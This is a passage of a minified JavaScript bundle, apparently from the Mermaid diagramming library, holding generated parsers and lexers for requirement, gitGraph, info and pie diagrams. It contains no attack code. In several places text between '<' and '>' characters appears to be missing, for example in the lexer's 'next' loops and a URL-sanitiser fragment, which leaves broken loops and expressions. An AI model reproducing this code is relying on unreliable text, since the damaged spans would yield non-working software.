!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),14;case 1:return this.begin("type_directive"),15;case 2:return this.popState(),this.begin("arg_directive"),12;case 3:return this.popState(),this.popState(),17;case 4:return 16;case 5:return 5;case 6:case 7:case 8:break;case 9:return 8;case 10:return 6;case 11:return 23;case 12:return 34;case 13:return 26;case 14:return 25;case 15:return 28;case 16:return 30;case 17:return 32;case 18:return 35;case 19:return 36;case 20:return 37;case 21:return 38;case 22:return 39;case 23:return 40;case 24:return 41;case 25:return 42;case 26:return 43;case 27:return 44;case 28:return 45;case 29:return 46;case 30:return 47;case 31:return 48;case 32:return 59;case 33:return 60;case 34:return 61;case 35:return 62;case 36:return 63;case 37:return 64;case 38:return 65;case 39:return 51;case 40:return 53;case 41:return 55;case 42:return 58;case 43:return 57;case 44:this.begin("string");break;case 45:this.popState();break;case 46:return"qString";case 47:return e.yytext=e.yytext.trim(),66}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:$)/i,/^(?:requirementDiagram\b)/i,/^(?:\{)/i,/^(?:\})/i,/^(?::)/i,/^(?:id\b)/i,/^(?:text\b)/i,/^(?:risk\b)/i,/^(?:verifyMethod\b)/i,/^(?:requirement\b)/i,/^(?:functionalRequirement\b)/i,/^(?:interfaceRequirement\b)/i,/^(?:performanceRequirement\b)/i,/^(?:physicalRequirement\b)/i,/^(?:designConstraint\b)/i,/^(?:low\b)/i,/^(?:medium\b)/i,/^(?:high\b)/i,/^(?:analysis\b)/i,/^(?:demonstration\b)/i,/^(?:inspection\b)/i,/^(?:test\b)/i,/^(?:element\b)/i,/^(?:contains\b)/i,/^(?:copies\b)/i,/^(?:derives\b)/i,/^(?:satisfies\b)/i,/^(?:verifies\b)/i,/^(?:refines\b)/i,/^(?:traces\b)/i,/^(?:type\b)/i,/^(?:docref\b)/i,/^(?:<-)/i,/^(?:->)/i,/^(?:-)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[\w][^\r\n\{\<\>\-\=]*)/i],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},unqString:{rules:[],inclusive:!1},token:{rules:[],inclusive:!1},string:{rules:[45,46],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,47],inclusive:!0}}};function j(){this.yy={}}return F.lexer=P,j.prototype=F,F.Parser=j,new j}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=new(n(175).default)({r:0,g:0,b:0,a:0},"transparent");e.default=r},function(t,e,n){var r=n(59),i=n(60);t.exports=function(t,e,n,a){var o=!n;n||(n={});for(var s=-1,c=e.length;++s-1&&t%1==0&&t-1}(s)?s:(n=s.match(a))?(e=n[0],r.test(e)?"about:blank":s):"about:blank"}}},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[2,3],n=[1,7],r=[7,12,15,17,19,20,21],i=[7,11,12,15,17,19,20,21],a=[2,20],o=[1,32],s={trace:function(){},yy:{},symbols_:{error:2,start:3,GG:4,":":5,document:6,EOF:7,DIR:8,options:9,body:10,OPT:11,NL:12,line:13,statement:14,COMMIT:15,commit_arg:16,BRANCH:17,ID:18,CHECKOUT:19,MERGE:20,RESET:21,reset_arg:22,STR:23,HEAD:24,reset_parents:25,CARET:26,$accept:0,$end:1},terminals_:{2:"error",4:"GG",5:":",7:"EOF",8:"DIR",11:"OPT",12:"NL",15:"COMMIT",17:"BRANCH",18:"ID",19:"CHECKOUT",20:"MERGE",21:"RESET",23:"STR",24:"HEAD",26:"CARET"},productions_:[0,[3,4],[3,5],[6,0],[6,2],[9,2],[9,1],[10,0],[10,2],[13,2],[13,1],[14,2],[14,2],[14,2],[14,2],[14,2],[16,0],[16,1],[22,2],[22,2],[25,0],[25,2]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 1:return a[s-1];case 2:return r.setDirection(a[s-3]),a[s-1];case 4:r.setOptions(a[s-1]),this.$=a[s];break;case 5:a[s-1]+=a[s],this.$=a[s-1];break;case 7:this.$=[];break;case 8:a[s-1].push(a[s]),this.$=a[s-1];break;case 9:this.$=a[s-1];break;case 11:r.commit(a[s]);break;case 12:r.branch(a[s]);break;case 13:r.checkout(a[s]);break;case 14:r.merge(a[s]);break;case 15:r.reset(a[s]);break;case 16:this.$="";break;case 17:this.$=a[s];break;case 18:this.$=a[s-1]+":"+a[s];break;case 19:this.$=a[s-1]+":"+r.count,r.count=0;break;case 20:r.count=0;break;case 21:r.count+=1}},table:[{3:1,4:[1,2]},{1:[3]},{5:[1,3],8:[1,4]},{6:5,7:e,9:6,12:n},{5:[1,8]},{7:[1,9]},t(r,[2,7],{10:10,11:[1,11]}),t(i,[2,6]),{6:12,7:e,9:6,12:n},{1:[2,1]},{7:[2,4],12:[1,15],13:13,14:14,15:[1,16],17:[1,17],19:[1,18],20:[1,19],21:[1,20]},t(i,[2,5]),{7:[1,21]},t(r,[2,8]),{12:[1,22]},t(r,[2,10]),{12:[2,16],16:23,23:[1,24]},{18:[1,25]},{18:[1,26]},{18:[1,27]},{18:[1,30],22:28,24:[1,29]},{1:[2,2]},t(r,[2,9]),{12:[2,11]},{12:[2,17]},{12:[2,12]},{12:[2,13]},{12:[2,14]},{12:[2,15]},{12:a,25:31,26:o},{12:a,25:33,26:o},{12:[2,18]},{12:a,25:34,26:o},{12:[2,19]},{12:[2,21]}],defaultActions:{9:[2,1],21:[2,2],23:[2,11],24:[2,17],25:[2,12],26:[2,13],27:[2,14],28:[2,15],31:[2,18],33:[2,19],34:[2,21]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},c={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return 12;case 1:case 2:case 3:break;case 4:return 4;case 5:return 15;case 6:return 17;case 7:return 20;case 8:return 21;case 9:return 19;case 10:case 11:return 8;case 12:return 5;case 13:return 26;case 14:this.begin("options");break;case 15:this.popState();break;case 16:return 11;case 17:this.begin("string");break;case 18:this.popState();break;case 19:return 23;case 20:return 18;case 21:return 7}},rules:[/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:gitGraph\b)/i,/^(?:commit\b)/i,/^(?:branch\b)/i,/^(?:merge\b)/i,/^(?:reset\b)/i,/^(?:checkout\b)/i,/^(?:LR\b)/i,/^(?:BT\b)/i,/^(?::)/i,/^(?:\^)/i,/^(?:options\r?\n)/i,/^(?:end\r?\n)/i,/^(?:[^\n]+\r?\n)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[a-zA-Z][-_\.a-zA-Z0-9]*[-_a-zA-Z0-9])/i,/^(?:$)/i],conditions:{options:{rules:[15,16],inclusive:!1},string:{rules:[18,19],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,17,20,21],inclusive:!0}}};function u(){this.yy={}}return s.lexer=c,u.prototype=s,s.Parser=u,new u}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[6,9,10],n={trace:function(){},yy:{},symbols_:{error:2,start:3,info:4,document:5,EOF:6,line:7,statement:8,NL:9,showInfo:10,$accept:0,$end:1},terminals_:{2:"error",4:"info",6:"EOF",9:"NL",10:"showInfo"},productions_:[0,[3,3],[5,0],[5,2],[7,1],[7,1],[8,1]],performAction:function(t,e,n,r,i,a,o){a.length;switch(i){case 1:return r;case 4:break;case 6:r.setInfo(!0)}},table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:6,9:[1,7],10:[1,8]},{1:[2,1]},t(e,[2,3]),t(e,[2,4]),t(e,[2,5]),t(e,[2,6])],defaultActions:{4:[2,1]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},r={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return 4;case 1:return 9;case 2:return"space";case 3:return 10;case 4:return 6;case 5:return"TXT"}},rules:[/^(?:info\b)/i,/^(?:[\s\n\r]+)/i,/^(?:[\s]+)/i,/^(?:showInfo\b)/i,/^(?:$)/i,/^(?:.)/i],conditions:{INITIAL:{rules:[0,1,2,3,4,5],inclusive:!0}}};function i(){this.yy={}}return n.lexer=r,i.prototype=n,n.Parser=i,new i}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,4],n=[1,5],r=[1,6],i=[1,7],a=[1,9],o=[1,11,13,20,21,22,23],s=[2,5],c=[1,6,11,13,20,21,22,23],u=[20,21,22],l=[2,8],h=[1,18],f=[1,19],d=[1,24],p=[6,20,21,22,23],y={trace:function(){},yy:{},symbols_:{error:2,start:3,eol:4,directive:5,PIE:6,document:7,showData:8,line:9,statement:10,txt:11,value:12,title:13,title_value:14,openDirective:15,typeDirective:16,closeDirective:17,":":18,argDirective:19,NEWLINE:20,";":21,EOF:22,open_directive:23,type_directive:24,arg_directive:25,close_directive:26,$accept:0,$end:1},terminals_:{2:"error",6:"PIE",8:"showData",11:"txt",12:"value",13:"title",14:"title_value",18:":",20:"NEWLINE",21:";",22:"EOF",23:"open_directive",24:"type_directive",25:"arg_directive",26:"close_directive"},productions_:[0,[3,2],[3,2],[3,2],[3,3],[7,0],[7,2],[9,2],[10,0],[10,2],[10,2],[10,1],[5,3],[5,5],[4,1],[4,1],[4,1],[15,1],[16,1],[19,1],[17,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 4:r.setShowData(!0);break;case 7:this.$=a[s-1];break;case 9:r.addSection(a[s-1],r.cleanupValue(a[s]));break;case 10:this.$=a[s].trim(),r.setTitle(this.$);break;case 17:r.parseDirective("%%{","open_directive");break;case 18:r.parseDirective(a[s],"type_directive");break;case 19:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 20:r.parseDirective("}%%","close_directive","pie")}},table:[{3:1,4:2,5:3,6:e,15:8,20:n,21:r,22:i,23:a},{1:[3]},{3:10,4:2,5:3,6:e,15:8,20:n,21:r,22:i,23:a},{3:11,4:2,5:3,6:e,15:8,20:n,21:r,22:i,23:a},t(o,s,{7:12,8:[1,13]}),t(c,[2,14]),t(c,[2,15]),t(c,[2,16]),{16:14,24:[1,15]},{24:[2,17]},{1:[2,1]},{1:[2,2]},t(u,l,{15:8,9:16,10:17,5:20,1:[2,3],11:h,13:f,23:a}),t(o,s,{7:21}),{17:22,18:[1,23],26:d},t([18,26],[2,18]),t(o,[2,6]),{4:25,20:n,21:r,22:i},{12:[1,26]},{14:[1,27]},t(u,[2,11]),t(u,l,{15:8,9:16,10:17,5:20,1:[2,4],11:h,13:f,23:a}),t(p,[2,12]),{19:28,25:[1,29]},t(p,[2,20]),t(o,[2,7]),t(u,[2,9]),t(u,[2,10]),{17:30,26:d},{26:[2,19]},t(p,[2,13])],defaultActions:{9:[2,17],10:[2,1],11:[2,2],29:[2,19]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 